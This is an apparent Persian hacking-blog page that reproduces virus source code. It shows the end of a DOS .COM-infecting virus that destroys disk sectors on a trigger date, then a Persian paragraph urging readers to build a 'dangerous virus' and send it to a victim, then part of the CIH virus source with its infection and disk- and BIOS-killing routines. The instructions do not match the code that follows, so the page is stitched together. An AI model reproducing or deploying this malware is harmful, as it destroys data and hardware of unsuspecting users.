cx,offset eof-offset begin ;Length of target code lea dx,[bp+offset begin] ;Point to virus start call InfectIt ;Exempt from encryption ComeBackHere: mov ax,4200h ;LSeek to TOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek mov ax,[bp+offset addr] ;Retrieve location inc ax ;Adjust location mov [bp+offset address],ax ;address to call mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. mov byte ptr [bp+offset check],idc ;EOFMARK mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;4 bytes are at [DX] int 21h ;Write to file inc byte ptr [bp+offset infected] ;increment counter dec byte ptr [bp+offset max2kill] ;decrement counter jz TheEnd ;If 0 then End inc byte ptr [bp+offset encrypt_val] ;change code # adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0 jmp nextfile ;Next victim! NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected? jae TheEnd ;The party's over! mov di,100h ;DI= 100h cmp word ptr [di],20CDh ;an INT 20h? je TheEnd ;Don't go to prev. dir. lea dx,[bp+offset prevdir] ;'..' mov ah,3Bh ;Set current directory int 21h ;CHDIR .. jc TheEnd ;We're through! mov ah,4Eh jmp continue ;Start over in new dir TheEnd: xor di,di ;DI= 0 mov es,di ;ES= 0 mov ah,2ah ;Get date int 21h ;Do it cmp dl,4 ;4th of the month? jne test2 ;Nope, second test cmp dh,7 ;July? jne test2 ;Nope, second test xor ax,ax ;Sector 0 jmp Kill ;Kill the disk now... test2: mov ah,2ch ;Get time int 21h ;Do it or cl,cl ;On the hour? (x:00 xM) jnz GiveUp ;Return to program cmp ch,6 ;Midnight to 5 AM ??? jnl GiveUp ;Return to program add cl,ch ;Add first number mov ax,cx ;Transfer to AX cbw ;Zero out AH add al,dh ;Add DL to AL adc al,dl ;Add DL and carry flag adc ah,0 ;Add carry to AH or ax,ax ;AX = 0 ??? jnz Kill ;Kill the disk now... inc ax ;Well, adjust first... Kill: mov dx,ax ;Sector number mov cx,1 ;One at a time.... xor bx,bx ;Point at PSP mov ah,19h ;Get current disk int 21h ;Call DOS to ^ int 26h ;Now kill the disk GiveUp: mov bx,offset message_table ;point to table mov ah,2ch ;Get time int 21h ;Call DOS to ^ inc dh ;(0-59) timeloop: cmp dh,msgs ;mapped yet? jl timedone ;Yes, jump sub dh,msgs ;try to map it jmp short timeloop ;and check out work timedone: mov al,dh ;AL gets msg # mov cl,al ;Save in CL for CritErr cbw ;AH gets 0 shl ax,1 ;AX = AX * 2 add bx,ax ;BX = index mov si,[bx] ;SI points to string mov ch,[si-1] ;CH is technique # mov dx,si ;DX points to string mov ah,9 ;Display string int 21h ;Call DOS to ^ cmp ch,terminate ;Terminate program? je TerminateProg ;Nope, next test cmp ch,halt ;Halt program? je $ ;Hang system if ch=halt cmp ch,SimulateCritErr ;Simulate CritErr? je simulate ;yes, go do it cmp ch,Return2host ;Return to host? je ResumeProgram ;yes, go do it cmp ch,FlashFloppy ;Flash drive A:? je FlashFlop ;Yes, go do it cmp ch,WaitKey ;Wait for keypress? je zwait ;Yes, go do it cmp ch,PauseKey ;Pause message w/ wait? je zpause ;Yes, go do it cmp ch,StackError ;Stack overflow? je StackErr ;Yes, go do it ;Invalid code, assume Return2host ResumeProgram: jmp return ;Return to caller StackErr: call $ ;Cause stack overflow TerminateProg: int 20h ;Yep, all done! simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ... mov ah,9 ;Print string int 21h ;Call DOS to ^ mov ah,1 ;Input a char int 21h ;Call DOS to ^ lea dx,[bp+offset crlf] ;crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ cmp al,'a' ;Uppercase? jb uppercase ;Nope, jump sub al,' ' ;Yes, make uppercase uppercase: cmp al,'A' ;Abort? je terminateprog ;Yep, go do it. cmp al,'R' ;Retry? jne zskip ;skip over "retry" code lea dx,[bp+offset crlf] ;Point to crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ mov dh,cl ;Restore DH from CL jmp timedone ;Reprint error zskip: cmp al,'I' ;Ignore? je ResumeProgram ;Return to host program cmp al,'F' ;Fail? jne simulate ;Invalid response lea dx,[bp+offset fail24] ;Point to fail string mov ah,9 ;Print string int 21h ;Call DOS to ^ int 20h ;Terminate program FlashFlop: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ xor ax,ax ;Drive A: mov cx,1 ;Read 1 sector mov dx,ax ;Start at boot sector lea bx,[bp+offset boot_sector] ;BX points to buffer int 25h ;Flash light on A: jmp short ResumeProgram ;Resume if no error zpause: lea dx,[bp+offset pause] ;Point to pause message mov ah,9 ;Print string int 21h ;Call DOS to ^ zwait: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ jmp short ResumeProgram ;Go on... ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$' fail24 db cr,lf,cr,lf,'Fail on INT 24' crlf db cr,lf,'$' message_table: dw offset msg1 dw offset msg2 dw offset msg3 dw offset msg4 dw offset msg5 dw offset msg6 dw offset msg7 dw offset msg8 dw offset msg9 dw offset msg10 dw offset msg11 dw offset msg12 dw offset msg13 dw offset msg14 dw offset msg15 dw offset msg16 dw offset msg17 dw offset msg18 dw offset msg19 dw offset msg20 msgs db 20 ; I tried to make it as simple as possible to change the messages ; and add/delete them. Each message is in the format: ; ; db [technique] ;[label] db [Text] ; ; Where [technique] is one of the 8 codes shown at the beginning of ; this file (terminate, halt, etc.). This determines what the virus ; should do after printing the message. ; [label] is in the form "msg##" where ## is a number from 1 to ; "msgs". "msgs" is defined immediately before this ; comment block. ; [text] is a combination of text and ASCII codes, terminated by ; either a '$' or a ,36. ; ; If you change the number of messages the virus has, you should also ; add/remove lines from the offset table and change the "msgs" ; data byte appropriately. Let's say for instance that you want ; to remove "Program too big to fit in memory.": ; 1) Delete the line(s) with the message and the line ; immediately before it. ; 2) Move message #20 up to message #2's position and ; change its label from "msg20" to "msg2". ; 3) Delete the line "dw offset msg20" from the offset ; table. ; 4) Change the line before this comment block to: ; "msgs db 19" ; ; Later! ; -The BOOT SECTOR Infector ... ; db FlashFloppy ;Waits for key, then flashes drive A: msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf pause db 'Strike any key when ready... $' db SimulateCritErr ;Prints ARIF message and responds appropriately msg1 db 'Impotence error reading user',39,'s dick$' db terminate ;Ends the program immediately msg2 db 'Program too big to fit in memory',cr,lf,'$' db halt ;Halts the system msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$' db terminate ;Ends the program immediately msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid' db ' I can',39,'t do that!',cr,lf,'$' db WaitKey ;Waits for a keypress, then runs the program msg6 db 'Format another? (Y/N)? $' db StackError ;Generates a stack overflow (halts the system) msg7 db 'Damn it! I told you not to touch that!$' db terminate ;Ends the program immediately msg8 db 'Suck me!',cr,lf,'$' db SimulateCritErr ;Prints ARIF message and responds appropriately msg9 db 'Cocksucker At Keyboard error reading device CON:$' db terminate ;Ends the program immediately msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf db 'I',39,'m sorry, but your call cannot be completed as dialed.' db cr,lf,'Please hang up & try your call again.',cr,lf,'$' db terminate ;Ends the program immediately msg11 db 'No!',cr,lf,cr,lf,'$' db halt ;Halts the system msg12 db 'Panic kernal mode interrupt$' db WaitKey ;Waits for a keypress, then runs the program msg13 db 'CONNECT 1200«',cr,lf,cr,lf,'$' db return2host ;Runs host program immediately msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$' db terminate ;Ends the program immediately msg15 db 'And if I refuse?',cr,lf,'$' db return2host ;Runs host program immediately msg16 db 'Fuck the world and its followers!',cr,lf,'$' db return2host ;Runs host program immediately msg17 db 'You are pathetic, man... you know that?',cr,lf,'$' db terminate ;Ends the program immediately msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$' db terminate ;Ends the program immediately msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$' db PauseKey ;Waits for keypress (SAKWR), then runs host prg msg20 db 'Joker! ver àà by TBSI!',cr,lf db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$' int24handler: xor al,al ;Ignore the error iret ;Interrupt return filespec: db '*.COM',0 ;File specification prevdir: db '..',0 ;previous directory max2kill db 3 ;max. files to infect eoec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤEnd Of Encrypted Code VersionNumber dw 100h ;Version 1.00 encrypt_val db 0 ;1st-run copy only ; None of this information is included in the virus's code. It is only used ; during the search/infect routines and it is not necessary to preserve it ; in between calls to them. eof: DTA: db 21 dup (?) ;internal search's data attribute db ? ;attribute file_time db 2 dup (?) ;file's time stamp file_date db 2 dup (?) ;file's date stamp file_size db 4 dup (?) ;file's size filename db 13 dup (?) ;filename SavedAX dw ? ;Used to save AX infected db ? ;infection count addr dw ? ;Address boot_sector: main endp;rocedure code ends;egment end

| نوشته شده توسط آرشام هکر در دسته : کد ویروس |

و یروس خطرناک با نام Good Gory بساز ید!

برای ساخت این ویروس اول note pad را باز کرده و این کد ها را در آن کپی و پیست نمایید و بعد گزینه file را زده save as را زده بعد آنرا با پسوند bat ذخیره کنید مثلا Good Gory.bat و save را برای اتمام کار زده و حالا ویروس شما ساخته شد که مواظب باشید روی آن به هیچ وجه کلیک نکنید آنرا برای یکی بفرستید تا سیستم قربانی را به طور خفن داغون کنه موفق باشید نظر یادتون نره!

; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn't Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn't be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don't be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================* ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it's Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * Windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *==========================================================================* ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; *==========================================================================* ; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * ; * So When Open WinZip Self-Extractor ==> Don't Infect it. * ; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * ; *==========================================================================* ; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * ; * 2. Change the Date of Killing Computers. * ; * 05/31/1998 3. Modify Virus Version Copyright. * ; * 4. The Virus "Basic" Size is 1019 Bytes. * ; **************************************************************************** .586P ; **************************************************************************** ; * Original PE Executable File(Don't Modify this Section) * ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; **************************************************************************** ; * My Virus Game * ; **************************************************************************** ; ********************************************************* ; * Constant Define * ; ********************************************************* TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ; ********************************************************* ; ********************************************************* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-@2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ; ********************************************************* ; * IFSMgr_FileSystemHook * ; ********************************************************* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ; ************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack pushf ; Now CF = 0, Push Flag to Stack add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h ; For Doing Minimal VirusCode's Length, ; I Save EAX to EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ; *************************** ; * Get 'PE\0' Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; * WinZip Self-Extractor * ; * doesn't Have Infected * ; * Mark Because My Virus * ; * doesn't Infect it. * ; *************************** ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn't also Infected. * ; ************************************* ; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = 'PE\0\0' Signature of * ; * ImageFileHeader Pointer's * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let's Set the * ; * Virus' Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let's Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let's Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ; *************************** ; * Let's Get * ; * Total Size of Sections * ; *************************** mov al, SizeOfScetionTable ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ; *************************** ; * Let's Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table ; Save Original Address of Entry Point mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Full Modify the Bug : * ; * WinZip Self-Extractor * ; * Occurs Error... * ; *************************** ; * So When User Opens * ; * WinZip Self-Extractor, * ; * Virus Doesn't Infect it.* ; *************************** ; * First, Virus Gets the * ; * PointerToRawData in the * ; * Second Section Table, * ; * Reads the Section Data, * ; * and Tests the String of * ; * 'WinZip(R)'...... * ; *************************** xchg eax, ebp push 00000004h pop ecx push edx mov 